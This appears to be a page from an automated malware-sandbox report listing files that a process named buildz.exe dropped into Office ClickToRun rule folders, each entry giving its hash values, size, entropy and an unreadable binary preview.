Preview:	<?xmlD.D..5odf./.....b&.mK}..)i.#/~y.E...v......%....{..A,.Rv..../.....7]w....k\.......8_.XMq...rt(b..iE...!...D....H.....en...af&>..~W..$f....E..............[L`..S.$.e...l..'...E(Z.O......}.CM..I.^...w.~F..+....z....c.L.Q.Dp...7..v...I...o.L0.B.5....d7....1<.....z{...R<j..]^...'..l.kZ...I.........,q....S.%9i.Z..e7t....R0a.m(....~...An..N.T=6.\..Tc..?u....g.9.....O...Gw..X...P,`.....K....2`...U.gU...=/.2..3.QG......z.E....?\.6..i.J~..s....K..&........kA.... .......;!...j.S<NSe.A.&q.......;...X.jU........2.N.w.H...j..}~..i...L....K.........M..1H.~_a....NG..R...\..@...\|.E.xZ)....G_.<.lp...X..w$..c'o.......G.XP"..4:.>~o.Z.9.).........N.N....d.NZ..K.SM}....E..[1G....=.o_5a.$..7.[..=s.>Ub.....M.6.F.T.......'.w"r7.X..RY.....yz....6.....#....dm. /.w....K.\.....];..{....F..D..[N..czqG..BE..\.....WW..S......:B...$..p...T..o$.~..7.?.......v..K(.#..[\|=d..N...c..w..:...q....K.Q..d.m...@..U.m7..+.a..u.u,.@}.}..@...L..- zGyp.9EK..1..w..F.Z..f.N.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701300v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.891280226768596
Encrypted:	false
SSDEEP:	48:fZETm/r4USlDcRR/V1uPEXl6lJB84aMGAax3Rxd9E7D:fW0//9A1QEaxzU3
MD5:	F001D490B2D6EAF23A4A48E4D52093EC
SHA1:	A91EF6D9574BECDF7D24793C88D2D8E1235CB2E1
SHA-256:	C985CB4878AE7C427DF23CEA19D4105F5D0BD67A35565C15FD2D5F0043432DBD
SHA-512:	0BD864516A646ECD4ACE200047316816B8748437D76F7B9372AF7F599E29496800753B01A84962DF8E49903B01BBD79CBED3CC42271FC3EA961DE4BAFC0DC2EA
Malicious:	false
Reputation:	unknown
Preview:	<?xml+Z...4..wul..8..u..Wh .xp....`....d..U...q...L~0.y_Y5v.....'..ybS...`P...JN.\...9}.M.NV5.S....C..NU.....1.E....LE..7...c.>$.50..U....'.'...C/.p....'U;.k;T....0.......p...99^..........V.c..h...@.<.O.,I...+........L......'.O.44...30.. h../..&.KV.....Ai..I.V...o..L..@.....\|...I.7..W...wi.X......h7b..%[.(<.~.[6.[.3./K.^..g....+..UrO....D...XB.....-.a..J`...8......=.q........L4....US..g..14.T....F...6.C.........I.....!..HN.[:......n=.u.9X.9'% 7.u......j.....E.Z?...EF&M.yj.x.._.9.{...0...b2...).....!.s..._)......<2a.....X...aJ........%..Ag<...............-.y......>..)...2..-....2Y.>#.\.i...m....".x-....H.....[8i!..V..`...>....,.5N.(..>..-.K..X}.W....O.+..,..%Q..e....I..p(1.X.X.4......e./...p...uj,.K........O.._.... 2`..[x.~s...:JL...>3c.`...."."..6.......(.....H.*A....z...ZVh.U..g..!...Q.vb7..]8.....(&F...Z...V.u... ..XxK..'=..,..h&.....q.8O....B..... .......&.bU.Z...O>;..K..H.<...b..i..Mp....U~..G..af.d.r.....w..hS..} Z.k....."..G

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701301v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.881351797492549
Encrypted:	false
SSDEEP:	48:QBPQxOmzSwC++eVQjqPKfDtHOAO7ZOI0Hc+nD:IAH+eVA5HOJ7ZiH1
MD5:	D1E02A82404D978EBB3BB14C364D7AF9
SHA1:	FB9AED0D5D3BE8994537B5A9F5FBB23CD2830491
SHA-256:	A0C1999C5A6D862EE5FB352502B07FC13804DBB5249D55A814043080CC9DDBE9
SHA-512:	22D6C5595D903455C8CAD4B4A5D743F69F4E0A4FC83AE714653AF5FA6C6EC143B3862ABFB74B331A70816B2AD2A021A67409D1210403EB715FED67EDFBE7023A
Malicious:	false
Reputation:	unknown
Preview:	<?xmln.u..EEG.X+1.j(0.Q.N.$......]...,:~..CMAUc..ic...8.$%.E.s.............W.\|.."2....F(..L.D........S.....A./.PO...ALD.k.o.Q.G....<.:}..q...V.i.~:q..O8[h....&..6..LA..............)ZD[..U.........1...5k.9....y7#..J[/...I..x"6..t.. AfF.\...}..\.w.g9.h~...A.....e...+..T.MhSX...A..I...{8 .y.I=.Y..WUH..T....X0.T.b$....9.:^...k.`....;..{=.'.zf......;Rm....e#.;p..M...N....\|.._..n..-R...R.....<.0v......,..V.{...tZ..Eg9.w.`..H.2.}.p...0@-.xz..`.k.9.....d..2~..T..2......a...k......Nl\|<k.\$.......1"........C$.9..w..."w.J..'F.?m.....S.0..6...6.T ..:..'(A!......$7.%....hMO1...wkJ.q..2.....w#..Ob...{.<...j.....b .n#.$e_...S....).@}..w.ak9.0.9..&..z^...{...5.../.....[.\6..q.^...yQ...9..1......xoS.]..`..M...........%..J.wD.q_..4....\!..3.]0...}.j. .MAQ2....s....ec....3D7.a.E...YP..?3R..~....5..Vd..jM...D.QM....o.F...O....KB.a..l.q..[.P....z.;t]..P.[.v.Sq.........O....@.?=>?.v...b.L.\7.^.f.....e6x..I...!.XgK...f..Ed....I..Kr.. ...B..}.&St.L..&.S.....,s...LWL...(

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701350v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.858191500163619
Encrypted:	false
SSDEEP:	48:sKU1C/fnp12FOvpLi1ldbjxRqn2JbJFkGI6HjdA++I1D:w03n+FOvpu1zPqn2JbsGIkjdKU
MD5:	F1CE6A93D540DBB13A5D873880984681
SHA1:	6D690CA87D947A9E97147DFB5432AD4CA0A09F8A
SHA-256:	53A16C7BD1B6E01BD503DCA68CA1AD09CBBF48D76B451C26536DDBC18D09BA5C
SHA-512:	51104A214A9E67AF3741A53CBC97A9652865B818882DE20B8688E0769AE4C36C821FEAD8EB0C0817C3671E1E405099198667F89C3CFFCCA3AC32B02199315378
Malicious:	false
Reputation:	unknown
Preview:	<?xml.....j.A.,\|......}0.4H......xg..2j.V... .'..kC......q..G..\D..B...K.e\|H ..'<...Q.y..c..w..\|.!wx.....^u3..g.He.e..-...9r.?..t..z..1\.G.Z.T...E5.... Z....!.-:'}.....v7.T....E...)..G..h.7.2...0.x.bf..v.K..s..a9z'.......6!...6`....@....q..>.=.........pU.....d.=..:..i..ge.^DM+....v...../y....K.......&..P....,...\|...Z?.../...=;..=x.%.v>...^......(...})j.pH P....l..Zq..Y.ju..'...+.:s#..W.....n.aJ.D.!.G0....N....O....R..I.~......H..M....T.......^c3...f..9.^X.X.)@..Ct ...8./].y.v.qP.e.....WY..e...r..UzP..Rf......f.....[u.....`.iVz.vu.Ww.;..Q..M.\|....I...v...A.y....k.kq....~.[..-h....ey.*.lZ0..FZZUN...#....n..7?.rV...\|..t.(O.@...+...;(w...tq...7I..!2!..I@..#n.\.O.].l.B....+b.......D.v..@4e._W..J.ng...S....h.6v...q\|h..z..O.[Zv..Wv..$..y..Zx..c......=.......vJ..z..M4e.......).0.T.....`}...>dIk......I..$YL....G...:.G.p.i..2..!.......J.Y...^.p..u..Y......!x.;....~.Q....&q..wr...,EBu..."%.u2.2...]..P..Y.<4R...e.....nwg9B...0....T..v?..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701351v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.872167571141913
Encrypted:	false
SSDEEP:	24:wFuG4w77Q/hrBCiy2F6IOwFcG6s8nXb5iwUnhuX2hk5L5wOlchiQZpuPh/E6iV3X:KuGHU/hJF65wFcu8n0wmbmp5ELfu6vhD
MD5:	0506FB53C4439518C97ACADE6A24FF92
SHA1:	D6501EFA9C0ECFE7F5ACBF013609DC537236F6E8
SHA-256:	79FB27954E2F877A9A66EF087571AC8993BC19647D1A8CAD91D9BDF86F2410ED
SHA-512:	1E8BEC0F059981504BC3ABE301806F8535B708512B1796A3ED9DC5E14B06F1941E776444880875BE49957F419B49EB9FE1F20F8412B9700FDDBA2CE7002F9174
Malicious:	false
Reputation:	unknown
Preview:	<?xml1.6....or..9.G;..M.f.F...wK...'..A...S+....lM.uBJ6n......<d.X......:.0^."..gL..:.0....#.y. ..t.i6qFwT.C....#..J6.\|.:...>........C..-4z.+X.lL..).A.%..G...e..&`....n3.Z....I.)...%...Z.d....O.......]..=TZ.<.U.h......._z.>[..7S..2.MU.,1m...-"..\|.r...GP..C....(.gO.t..`b9.........)....Ng..v.X.@..jDH...R>J.....t....\|n..V.4n..y.S.#.....D..;~....4..!.g.p.g.k<7.......!R..T.dA. +].a"=....1.....H.G..,.."l.b.9.eM^..aZ3em.W..1ABI{..?.pF,/....n.9.s.4.)..-...j.....U.z.;63.........u.'.I..I..._S.I...<2.n.^..L[.G....V.I+\...u..^....d..K..\.Y\|.+;.X.z.2!.\|.t[.S....D.<.%......%8..1..u..6/.y~>...........R.N..,.N.ia.%;g{....h.6Y.&.....?.=.i.n.z..T..w.9..NJJ:c...RU.TI{.a.k.H,k...a\|.AN.S...-..'.....C......E...bx..8.Ik.,m..l..D.}b..Q.O...x...l...n....A..4..o....%...c.ys....\.U...9.;.!c..n.Y<L....n...P._d.}....B...i'x...n..{.....`...[.0l9.a..c...??.(5....uB......H...@..:.....p+.c....nn..o}..m5..a.........Y.(.J..H.5`.#..89>.{.....z.:.O.* ^j.....b.....S.Fu.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701400v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.879680659497002
Encrypted:	false
SSDEEP:	48:kMbXQp4PJ6/GDvHzTHTsxXry7XvM9i7joOkH7D:7XMr/qzTgxXyXvM2oOkH3
MD5:	63DFE99DEE4B2587EED0C786491E4CEE
SHA1:	757EF75AA02A390D1CD6BEABEF96570862899CD6
SHA-256:	15DD5F92D33415E7BC3F8912E3210CFB891C1B2FA2AA03CC36B259CE513DBF26
SHA-512:	0B05FF3E13F293A865392DAA5FF902D6ECB1BA55F7215C04B7B3C7D77BB22843F8222A678DE82B7C57CDE8AA98625CFD327313F4B185292631E0B1705883FB69
Malicious:	false
Reputation:	unknown
Preview:	<?xml....&."..J......RmI.aO.....z5.(.. .w.j.<.EK...L(F....[=../f..D.[....>.bz)...O..]..G..%.e....~.F.Ma....\...X.i....P...g.pj................j.F.$I.-rNE....R.7.>C......l....?.n...O.. \|ge.,d....yeod..).o.P{..B..t.<..Fq.}....HC..p...Y..........O...Y.#.N..P....]q.ym....@c...4..g.5....~.?.$....#..V.K\W/4q..F...+.....\...K(..K.7]y.L...e+j>r...2....el.(`6Y0.......S<`..e$^....{..H.y!.hp;ma~..q.. 5..7.g{.0...o.R.`.W...X..&.{....m..&...m U.g.....%].....j.....x._.P....=.#\|.rTTGP..h..~r....h..T.q'^mH,.vM.Z7`.......{r..n...4. ...!'.......Qbspj..5..{....$}..&.mX i....Xd..l^O.f...mG.fr_./....9*Y..D..R]....G..Oi.#.)X .'...o........S.;.s....2."=...:.S0.t.$..Y.T.if..i......}......@.x...Wi%oa \.q........S...@.......o....u.....1...[..J....).....H.%Ap.HD......h@iA.X......NQ4X-.....8.+l..Sp..>t.bE.H?6.F...I/..+-..ON.5..R.U...D.....G.P~..{....y..u..K...C.....F@.lG.u7.....v..;.@.......6..TLRK.6..g...Z.......,}......r;.N....m.n..$.e....W]...x.mXM.x.[..cNlh...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701401v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.898303145573579
Encrypted:	false
SSDEEP:	48:rDiGpw1sjy6TEIzs8vJ6WHtOw6rjzhK24dVW8KCqqD:RGgy6TE74ogtkzhKhE8KCqi
MD5:	4CA7062DE49014B9887E78F0E4E9A11D
SHA1:	33B187C27A580040213A5171C13D50F73BC660A7
SHA-256:	DF93B01E13796A4E75E84A4E1C4A674D1605C6D86355D4A5ECF197E0AAC293F1
SHA-512:	9BE32EFB477BEAAC39EF8C9688C285F15143C1F9D8F26639CBC8B52767FF334D9F57AA55578469664B4494A303BCB9183C9694FA3998C07DC5F08C7D1BC60672
Malicious:	false
Reputation:	unknown
Preview:	<?xml...\.e....o...O... u%.X.9..1-.t..W..V..wI......f.....#.j....$......i....qI......\|4Em..\|Ihu_..=.<..u..J&.N..Z..d9O..D.\.J-...C..`{...DN....gy....E...!E'.f....g...?.>.s...`n.Us.%.}$`.v....T~...Rae..-}...1..P..y.[.....8\.V....}..M..~.AlC.U..."..F../.19q.K..g_....C..t.\|..R.WK.[#..........&..h$...s...,D.r....J...e....s.I....^..^e.ta...sv..vhn..9.t.^.S.M7o.\X...)75......w...c\....[m.o.....k.%.M..+...=...T..%.....LP.w.\|.....&..M...z.....G^..a.<.4.jZ..4.DE..R.b..'..G.OX..jm....1..e..L'.......us.1.o+.}....K.f.....n......'.1...g.g.F.........4....{7-...O.....'...ZF....p......d..B......B........e...W"N...>;.P..n...E..z......i..^..].g.ex.;.5q..8.H.......6.Dv.r... .......h}..ij.cU.<b..$g.TaFm....>..]c......~d.D.F.i...+B,...).gf5.J..HO..=.@.3FU.E...A..h..}N.;7...Q:F..p1.[]..Kr...J&...:.......+.=0...~..w..{'..B..:...s....%.T..../.....]fZ[...f..?R98...y.U..-[. 2".37W.=....&........Z..mw.gM.f......h..V...l.i...E.=.~TX....".7\|.@...zd.+..%5bSi..d\.'(r...&

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701500v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.880212672589858
Encrypted:	false
SSDEEP:	48:RqcfBYZ3FJCaOzExnxiZuY8KH52PAI3XgWKPD:caYZ1JZOwxnxikLSwPv3XW
MD5:	0B6F6446BDE3547A90846E77DAC7AB9A
SHA1:	284905E7DBF772EC29F25AFC3ABAC7D935636492
SHA-256:	AFC101849C2AD2D66859D0CF1FBD553DC6A7D14DB1D582E545541E02A40C9F25
SHA-512:	076E48836BEA392E22794C21EA260F05C41BE0D14AFA05F1A63D6B6FDC58C8EF8A76C58DB5337B4B3448A3EB448D595EE4BE77371F03484C72AB334A67A6E92C
Malicious:	false
Reputation:	unknown
Preview:	<?xml..,..0.....,......J....+...<.....K...I..V.}.B..\.SK/...*\|..5.$.....'C...(n.0...`k..0.._5..zwd;.HoR....!.+.n.xCA.....\.0..... =.?Cd.kKS.og....m?;....E.q#D}.d...Lv..V.l.......77~...q.l?..W..`.....+....>.F..../...xv$'....I..].D.....p..0.-........B..%=w.-.eC.....^..!q......?gNe.JU./...b....r.R>_.../j.j...m...^o.6x,.%.-3..R.\|.....u(.$..U.....Q.....J:...%.....b.Hl........".........1.O...(a.v....V...-..G...w..y..]RmS.62...9.....{..)fT)3%R.P..h,...6........n/._.....).:.D.;...W..}A..D...0..@..j...I..0.._e..m.......U.`...'.U.EA<.....LQ.rZD....&)....R.i..8..}......... .b............h.ahhA.:1M..o5]...r...l.^,c....`0_>...W.zN..AFu..;...`...".9.1...k.}..7?.'..jD8W...I@.3.\M.....FmG.....!...X...?{.......H..z.~.....p.!.......q}/..c....P2.rFv..u_.OF.X..Q.tv...-.....j..WMwh..w..V.>.....[...c.J.B.s......?.&........6.......0.Cw..OX.M.b..w.Y...8...P..{..P.._.J..!p,..S.U....._=..S^.^Ej9..4.j....'.3..7.j..u!.S.GQX..Fasl....v..0'\..?Y^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701501v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.8822113194271255
Encrypted:	false
SSDEEP:	48:IMjKSp5rtzmQaEHPHq9Zkfpj41U72TsR25D:npp6aaCOx
MD5:	9648BA6176EED674FDAA0C540F458DEA
SHA1:	59987728C8D18995E2229C8F086A34E2F208CF41
SHA-256:	350E68BA9462BDBA0496AB739CA13DB1021C8A015DFF8B18A821822A514BB9C2
SHA-512:	B57157432ACA0F8216302F5938D0F8FED706BEC9C86D12877DBCA8175E14B5A4E9A7606579311DC1084DBD9DA759180B287016BACA64131A694397BF0195A839
Malicious:	false
Reputation:	unknown
Preview:	<?xml_JS"..Y..3........svT`...A.D......6:..f.....ns..9.!"..c....._...2V.).....s..:....2.}b.s...J./LI......E..M........wG..w.......X...&r.c^......h....@.@...D.\...}..........:..j..0.....bb{/O.+..X.....i.5...i...0.,.zC.....Xw.H..(.}.6.1...j...s....V/~{..4.9x.\..$.r......V......O..........>...~.3.F[..Y...a..lT.S{..7&..........c/U..N.../..]..v........i'7..Z".H......w.wa.V....2......C...Pti.}...ci...PKl.b......7..I^&.(m...d&.z...I.y..O.).]Y..Q........F:G..<MA..`9^1h.#JZ..F......(....N.Ir.6Y.$...u.w...@.{...h.d.Gn...l..)...h.h....q:S..zjP..........@..\|q. PO..m.:......V......v.m...@-751-....g..J.b..V.B..."...Lj.....U?]...\;b..7..QnT....a.......PY.u..w..w......O#.2..P...c5.. .~.4....@....S.OC....,m...vPA_.jZ.zq.V.a.QL..\|>....m.U.E...=.0.N.4=r)........`I."..Z......X.u..4.3.I...'.-.....(.d......".=,.L\|.E.d.wM.....`.K..q....&............B ...s..V...{sJ...eF3cIz...mA...H4 H....T3Bw%.....}S...6B....c....b...M.>W..2...>.A.wA....)\|<.=.... .d@\...\.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701550v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.874695314995338
Encrypted:	false
SSDEEP:	24:YIZyXbu9RuNxUXoVWXf29wIkLgOyjm46upeArekSS6yOp0Lk9ZuW3oFb90JHz4r9:hYIoxQn2BUjADfakStyj4nuWemtOvD
MD5:	0E380461B30E2E1B6FD9B462EF65B8F3
SHA1:	BDDF23911E6292E8C3A33F15A288A82FE6DE0C2A
SHA-256:	ECC29FA2BE91A26029A269A92C753676318371C3ED59AF34E6E0C0FBE53FA20A
SHA-512:	5BCE19CD339A2CEE4D6EE705B298F1DD84382513BFEB1D1237A89D2FF68368AF134AD001BB0C40A8D287D1396CDC33DF6F25B1F2632A1728F98F03E0062990D5
Malicious:	false
Reputation:	unknown
Preview:	<?xml....awe..[.483..rc.KU.b.....'...G>;[..._I>..3D.f&.....P..y.!.V....5.II....Z...r.T.._..N.E..O...v...cK...jlF~g.7Z5...Sj.g\&.7.6...Qz..Hs.I...LP..q..S.s.#&.6T.=.....e....h4.... q.....3.z...D..>Y@...k....6..x.e^-.U.z..s.+.)K...Mf.D........h.Ig...l...g...v......K...)......en...A...E..l.)...... {.'.z..Bp1..][.&L".I..<c.aB..G"g4.....M..!L.O.v7...8...\|E.!...Zqi...F....M#.VyJw3..c.O......#.3...;7.. ..rd]m..6..._...J@d.g.K..,O.n..`.fzd._.#...q<.a.N.. ....].....vI."~.[Y........c.q...j}.[..^.../M}.&n\...f..U.$....OY..I(..\.N.;g....^...[.@5 .'.i.<.pXM......XX!..6..f.V.e...(...R.R...B@....?..........e..'....sT.$b.4.....`...c.....r...\|.....]...nw....lt...........(#.O...&h..R.._4b..&......".t+....../....-.J.6k/.4..Z.?.3.R....&......4...`^..g...6.{nSL.....-.&.M@.W.".~2...6.H.;iY....-.3.ih.v.](/........r..5.i.....n...5..H.._...).hC......I.^h.@.Ac...3.....r...^.gA...p...N.....{.i\|..Q^mG..........sY.1A)....wK..sA..K7.....H.{.%z.X@_...$....A..g^.e....E....:

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701551v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.881984887592605
Encrypted:	false
SSDEEP:	48:QtQaHgGLqvfSMU55Kj4T6pBteNQwiOzzggrUbfPXI5vvD:3BnSMU6osteNxiOzgaUDYB7
MD5:	F76196C1CB147B41294BC565F062515F
SHA1:	20DA6A811E70E5B33691149F80DEF1CBD26D3201
SHA-256:	AF679F29F5593808C3248F6299101E5E2856C52FC1FA78C4627D3C18E5E1A723
SHA-512:	C2B6A9C90BC31FD83E4147A87F17B3B9B025062A8B52741E736D100EC65E5969170FAC81A9232DFB0243A7F427A3E577283E6DF548E22319956F0D0E92D5D706
Malicious:	false
Reputation:	unknown
Preview:	<?xml.k...@..o..B.......vm..<q...l..~I@1 o.xB ...P......}R;z.n.d^;.F.1qJ}..Xx.(.K.....<.&...^x..#..._..O..!..o...).L....i......!s......Z.h..@.p.(Zkz.C..w..{8......v..0(.~8...@....h.(l...!5......w.....a+.YR%..n....X.<(.^X..x...i.MY..{..A..R.....8...RiI!...:g.Q/..W..{..~m.J9.?neM/8...)...E..........D..j..hU...2I..@~...H..(.......O.,...Q..3...!x.;.Q.EWfo..'..4...@.V...Ut....v.o......qk............E....Q&...0._.._.........j..8D.?b. .c.f7.0@....~..;r.e.5.W.s^9.e...p..A....x?..i.#.R.o.....>.].b..u.......K..J.c...K.%.4.....T.`.[.:....4...V..h...U.i..u.+B......2Q....W_.x.N....c.U...6=.p...b...@..........e+..(;.3...KI..{HP..._d)..g.>..Y...V......R..+.....c.R....X."$R.....G..(.\..A...............r@.......B.....0..V/,.T.~...,....}..q.(#...R."m?.u3(u<....+r..H..P.d...gf.....l.@........T...A..L.%&w8z.:hrK=E.._..;....]..d...5K.EF..\|.0C.......f....z...Ft)P..(EOX.R&27....D.U.qC.$.~.....~OX...=..u..($.C.\M..".... ...:....Q...w..w.I3M&o).OK...hW..U%..+\#.Uv

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701650v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.895042472093266
Encrypted:	false
SSDEEP:	48:8Cfxntzmo8NLOebewjZhnIFmcqS2vA1pSG9gvfJ77D:8C5nlH8NFbBZhIFmAQA1pel
MD5:	5395F71218C31A136C077B65028F2D3A
SHA1:	47B930BD7233F88CA3C0BE176CD6AB72145460BE
SHA-256:	0C7C87121C9CD6CD04B15A7B0E6461F06ED7B718663126310C8A73075527F76B
SHA-512:	27FF7DADA26CC0581026650FEBB4E2D51E990B225B71D71435CB046A2FB701C98EDB30202A20144C8658063C4E6F0222E43ACF65F3698C77CDF2508A84D5193A
Malicious:	false
Reputation:	unknown
Preview:	<?xmlN....,.(..U.G;.<..f...;/.;Y.B.Y.a....N.....CT`...y.o...ml...)...'.0.Z.A.....l.N.....f$ z...U.$"...Z..(.6..zo\.e..~/..>..fq...,O=.O^:.A....&.}...>.3@G....f...$.x..6.>..[:bC...U.5.sa.i#5.:...TI....OA.W...%.....ff[IJ..c...j9.^..t.5..QG.2...Rs.+e...3..i...Fu..e...r,..............8UOq.+...<A].FJ.ru.._.ge..m..#l...N...s.T,....g#..Z....Y..j..B3).2....I...fQ.....xivo.....E1...].3y.WC....r.;.3.q...Pe.....v....U...G.0.w. \|...^..K......s..,.k...;.c..}..j(.....Xe9.h....s3+.V_..k..,/....9.v............j...u.e.i.@[.w...P........I..lb"y-.u......4.....4q.........mA...x..........\..Z...B/#..v..-`...o9.k-.....-..,..;.#..5....S..k..Q.-.(1.f..\|..D..%.S&...f...i:?[....`...IO...`.X..]...X...B>&~N..H.I'..8\....d.>o]...M..........#$V..fV....Ls. .0...4..e..!..}2........K....-..M....ar. i....1.i.2<...b$&.>.....v.....W.4#...#....o.a.^y.........G..0...3.b..8.`....go.5.b+......?Y4,#e.....V.fUX..?.S..@<c.....\.J..=...N.8.d..\|z..@@.k)...~..SQ~...(...f#l,.5'.B.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701651v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.878321672688111
Encrypted:	false
SSDEEP:	48:GhaMUEHQ3NwLh/7Q45ezsGqResaE7ZBnUxbJbWtID:h3ih/7tGsrX50JUU
MD5:	B6292EC797239F66F3D9598A219B9AFF
SHA1:	85C44BB66CD3812EC6824E01696524768842A496
SHA-256:	2990AB0A3909544D6E45A80200449066A555E2B470D7D7528539514255C9C58C
SHA-512:	3791386F9AF3D02ED750941F9FDF833BFD397F80CD7517EBF722DC27A7567595703A63E98819136172C3B7C8146CA29B4FA2A10C756FB7881BB81AF6F25A90C7
Malicious:	false
Reputation:	unknown
Preview:	<?xml..F...y....~.....\|&.^..R[.`..1C...k..........f....57J.B.].8..s...=t.........q7..8h.I6?..v..].gKY.....bK.ADc.j...dS.G..N....k..?r....f..`MdF..l.<...e.=7]Q.!9.....)O...f..x..@.....[.2_.t<7........;Qt...9.m..RJ.....n..\|' .....J!.'..#j....W......Cm..wm....`...c...U.\|\.m...\|V..N..\..~..4.P..k.w...Z..{m....w@X$.!.QJ.8.".2.#O.>K..z.4...:...b[o{8...........?.Z...A....{....\|:.;.f.....E}.t..V.Ij.L...N_m.h..S.@& #..2..{..`.0.%V.g...e.5..7>.:.R...t.S{G......p.`\..7{9...1.t...............r...q...db[.......N...0.k.D.!..F..{.RA:..}.x....M..7x?Co^j........ f......z_7m....n.-o.H...T...u..K..b.....R...'T)r..v..].5...y.lj.."{..Rr.n....y....1u3...Z\...O.......I.,.%.@...l.lF ..>..d.n?`6....~.r.O......]9.b^...\.l....qcq.?.2\|(s.n]N.."N&#..=T.+$.[.M.... .2Z....{..(....X.......Rc.~4=..O.w.NV..S..^..r.@m.#.bVfcJ\|...M.#..o.=..~...m4....(-...R.%..."..b..o.Q.l....y].{..9.{vx. .....B]....X>..M...\..j....71*....-.pS.....n.T..m...WI-=[.f............+.-W...4..tL.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701700v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	7.880010340311336
Encrypted:	false
SSDEEP:	48:NRFWmy2a/As6+CZ+PTplKr8fLgP9ppnXPpK3ogUDt1rLG1SD:FNwKZ+PdlLGppnI3o9Dt1nGw
MD5:	CE6C0B456B5BF2256EBC9DAA5A998EFA
SHA1:	522505510244E8B9D538B4A2884BC14FEEBBCF08
SHA-256:	2868E5BE25547517BB0CFD0A1D049DC5C72328D33A50ECB95F85D72A55633D08
SHA-512:	2C1691D66032A27D9CC9B060F8F65772D7EC242351E64807812BB905CD1BC3223BB2296351AD300D68A9305918B6DBCAEB14D22F2D82DD1CBEB95AF9512170FA
Malicious:	false
Reputation:	unknown
Preview:	<?xml.S5..R.....I...o6..........l.x.....D.....K.g@...w.f..!.. .#.s.....v....r..E!W..x.`..~...C.w.......V..o..A.N.{....'.M.G..s......."N..%.v.r2.;....Mk..yM..1.&.U........C..}..9...w1H.\..z...T.'...#...arP..a....R.....x.F.!n_[z1.%l.4..~\|...o.......dB#j..}..v...L%..=.k..Bu...L.jl.d.G1..H7.6.q.K..=..B..:.D+.4.bIk.^rY\|.......,.:.9..g.f#.X7m.}.&.(..=.@.I..-.%(............1.........).\.. ,.P...V,.....n..fD/.i.........\.u...N...c..S.o3]G..T..9.....OG.Q.E....dkJ...~..hJ.@.x..:.\.l.z....s.-..8.;.....\|......&.,4..ul69:{....{.(..u..t......K]W..........,]...tS....\..\.?...ff@...;o.A...u<....r..qt..#..b.2c.f.d.k..+.A..j...........Wd..w.....V.o.$.Y.B...6.......&....{.I..k.hs.8.}.x.d..S..x.i...I../.Q*..l.h..H...RJ.....8(...b{.8.!.'-.}.J..(..^3......x6L}...i.>e.29....h;...I.\|..#`.Kv.<..A.x.4^...i.0N.......y.....S..".GX[pr..g.iLi..s.Z..4.)X.5I....S.@T(w;..&.....(+r.k.-.K~G!<..N...b..........."..^.5..wL....:....X.."3...e3...V...@..6.....p.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule700001v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2075
Entropy (8bit):	7.904030900652388
Encrypted:	false
SSDEEP:	48:RzPRgNgo0GGT40uafh2+wmGmb3S9z/iBwb3iYiYD:DsYgEdMm+9ziqj1
MD5:	44562730F7BA46EA85E16FBB4CB26FC9
SHA1:	BA6511E6660535CCD7DADBD40CD2BB35FDA4E716
SHA-256:	E93991DEF6AE7D80A331881B4533EF8162E3690DEEA573D2690EF093F35CE384
SHA-512:	7E02838B5C2DC751BAD818A97B6C84B890DD436E116A7023E460F5587BDB686352C2454D64D0307B4A88564DED458207E850755708B7D4AAB07AC6D3129ED5EB
Malicious:	false
Reputation:	unknown
